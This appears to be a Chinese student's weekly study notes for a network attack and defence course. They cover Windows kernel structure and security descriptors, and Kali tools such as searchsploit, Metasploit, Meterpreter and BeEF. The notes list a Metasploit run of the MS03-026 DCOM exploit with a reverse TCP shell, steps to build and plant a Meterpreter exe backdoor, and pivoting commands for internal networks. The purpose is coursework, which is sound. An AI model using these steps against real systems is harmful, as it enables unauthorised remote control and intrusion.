20189224 《网络攻防实践》/《网络攻击与防范》第七周学习总结

20189224 《网络攻防实践》/《网络攻击与防范》第七周学习总结

教材学习内容总结

Windows操作系统基本框架概述

  • windows操作系统的基本结构
    1)运行于处理器特权模式的操作系统内核 ring 0
    2)运行在处理器非特权模式的用户空间代码。ring 3
  • windows操作系统内核的基本模块:
    1)Windows执行体
    内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务
    2)windows内核体
    核心文件中函数实现与硬件体系结构支持代码,实现底层操作系统功能
    3)设备驱动程序
    将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序
    4)硬件抽象层
    hal.dll文件,用于屏蔽内核与平台硬件差异性
    5)Windows窗口与图形界面接口内核实现代码
    win 32k.sys
    6)系统支持进程
    windows开机自动启动的系统内建服务进程
    7)环境子系统服务进程
    为操作系统环境运行环境提供支持的服务进程
    8)服务进程
    通过Windows的服务管理机制所启动的一系列系统及网路服务
    9)用户应用软件
    用户态执行的各类用户应用软件
    10)核心子系统DLL
    动态链接库文件
  • Windows操作系统内核核心机制:
    1)Windows进程和线程管理机制;
    2)windows内存管理机制;
    3)windows文件管理机制;
    4)windows注册表管理机制;
    5)windows的网络机制

Windows操作系统的安全体系结构与机制

  • SD安全描述符主要由如下主要属性组成:
    1)Owner SID:对象所有者的SID安全标识符。
    2)Group SID:对象所在基本用户组的SID安全标识符。
    3)DACL自主访问控制列表:指明了那些安全主体可以何种方式来访问该对象。
    4)SACL 系统审计访问控制列表:指明了那些主体发起的那些访问操作需要被审计。
    5)Windows远程安全攻防技术:远程口令猜测与破解攻击、攻破Windows网络服务、攻击Windows客户端及用户。
  • windows系统的安全漏洞生命周期:
    1)Windows安全漏洞发现
    2)利用和修补过程
    3)安全漏洞公开纰漏信息库
    4)针对特定目标的渗透测试攻击过程
    5)使用Metasploit软件实施渗透测试
  • 使用Metasploit Console终端实施渗透测试过程
    1)use exploit/windows/dcerpc/ms03_026_dcom
    2)set PLAYLOAD generic/shell——reverse_tcp
    3)set LHOST 192.168.200.2;set RHOST 192.168.200.124.
    4)exploit
    5)在远程控制会话中与目标主机进行交互。
  • Windows远程口令猜测与破解攻击:
    1)远程口令字猜测
    2)远程口令字交换通信窃听与破解
    3)远程口令猜测与破解防范措施
  • Windows网络服务远程渗透攻击:
    1)针对NetBios网络服务的著名漏洞及攻击
    2)针对MSRPC网络服务的著名漏洞及攻击
    3)针对Windows系统上微软网络服务的远程渗透攻击
    4)针对Windows系统上第三方网络服务的远程渗透攻击
    5)网络服务远程渗透攻击防范措施
  • Windows本地安全攻防技术:
    1)Windows本地特权提升
    2)Windows敏感信息窃
    3)Windows消踪灭迹
    4)windows远程控制与后门程序
    5)命令行远程控制工具

视频内容学习

KaliSecurity 漏洞利用之检索与利用

searchsploit存储了大量的漏洞利用程序,可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作,目前是世界上公开收集漏洞最全的数据库,该仓库每天都会更新,exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。

 Usage: searchsploit [options] term1 [term2] ... [termN]

==========
 Examples 
==========
  searchsploit afd windows local
  searchsploit -t oracle windows
  searchsploit -p 39446
  searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"

  For more examples, see the manual: https://www.exploit-db.com/searchsploit/

=========
 Options 
=========
   -c, --case     [Term]      Perform a case-sensitive search (Default is inSEnsITiVe).
   -e, --exact    [Term]      Perform an EXACT match on exploit title (Default is AND) [Implies "-t"].
   -h, --help                 Show this help screen.
   -j, --json     [Term]      Show result in JSON format.
   -m, --mirror   [EDB-ID]    Mirror (aka copies) an exploit to the current working directory.
   -o, --overflow [Term]      Exploit titles are allowed to overflow their columns.
   -p, --path     [EDB-ID]    Show the full path to an exploit (and also copies the path to the clipboard if possible).
   -t, --title    [Term]      Search JUST the exploit title (Default is title AND the file's path).
   -u, --update               Check for and install any exploitdb package updates (deb or git).
   -w, --www      [Term]      Show URLs to Exploit-DB.com rather than the local path.
   -x, --examine  [EDB-ID]    Examine (aka opens) the exploit using $PAGER.
       --colour               Disable colour highlighting in search results.
       --id                   Display the EDB-ID value rather than local path.
       --nmap     [file.xml]  Checks all results in Nmap's XML output with service version (e.g.: nmap -sV -oX file.xml).
                                Use "-v" (verbose) to try even more combinations
       --exclude="term"       Remove values from results. By using "|" to separated you can chain multiple values.
                                e.g. --exclude="term1|term2|term3".

=======
 Notes 
=======
 * You can use any number of search terms.
 * Search terms are not case-sensitive (by default), and ordering is irrelevant.
   * Use '-c' if you wish to reduce results by case-sensitive searching.
   * And/Or '-e' if you wish to filter results by using an exact match.
 * Use '-t' to exclude the file's path to filter the search results.
   * Remove false positives (especially when searching using numbers - i.e. versions).
 * When updating or displaying help, search terms will be ignored.
  • searchsploit可以借助关键词搜索漏洞信息以及漏洞对应的exp
  • searchsploit wordpress列出了漏洞和文件地址
  • ikat自动化开启不同的exp,等待目标访问中招
  • termineter评估智能电表的安全性



KaliSecurity 漏洞利用之Metasploit基础

Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。Metasploit用法

  • 启动
    在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以利用msf数据库查询exploit和记录
service postgresql start
service metasploit start

如果 不想每次开机都手动启动服务,可以配置随系统启动

update-rc.d postgresql enable
update-rc.d metasploit enable
  • 路径

Kali中msf的路径为/usr/share/metasploit-framework
Auxiliary:辅助模块
encoders:供msfencode编码工具使用,具体可以使用 msfencode –l
exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。

  • 基本命令

msfpayload:用来生成payload或者shellcode。
搜索时可以用msfpayload -l |gre[ "windows"这样的命令查询。-o选项可以列出payload所需的参数。
msfencode:msf中的编码器,早期用来绕过AV(杀毒软件),现常用msfpayload与它编码避免exploit的坏字符串。
msfconsole:开启metasploit的console。
输入msfconsole,打开msf。

KaliSecurity 漏洞利用之Meterpreter介绍

Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell链接。Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有很多有用的功能,如添加一个用户、隐藏一些东西,打开shell、得到用户密码、上传下载远程主机文件、运行cmd.exe、捕捉屏幕得到远程控制权、捕获按键信息、清楚应用程序显示远程主机的系统信息、示远程机器的网络接口和IP地址等信息。常用的命令:
background:将当前会话放置后台
load/use:加载模块
Interact:切换进一个信道
migrate:迁移进程
run:执行个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute, hashdump, arp scanner, multi inject等
常用的Meterpreter类型为: payload/windows/meterpreter/reverse_

生成Meterpreter后门:

  • 打开MSF,开启监听(选择exploit/multi/handler)
  • 在指定目录,生成exe后门
  • 将door植到对方主机

KaliSecurity 漏洞利用之Metasploit后渗透测试

在跳板获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使后续的操作更容易。

  • 查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
    添加路由表run autoroute -s 10.0.0.1。可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
  • 开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机
  • 通过background和session -i可以自由切换进入session
  • 输入run可以看到在meterpreter上可以做的很多命令
  • 通过run post/可以看到后渗透测试模块
  • 获取内网信息run arp_scanner -r 10.0.0.1/24
  • 也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:传送文件到c盘根目录。

KaliSecurity 漏洞利用之BeEF

BeEF是一款专注浏览器端的渗透测试工具。
在命令行下启动BeeF
beef-xss

参考资料

原文地址:https://www.cnblogs.com/20189224sxy/p/10690654.html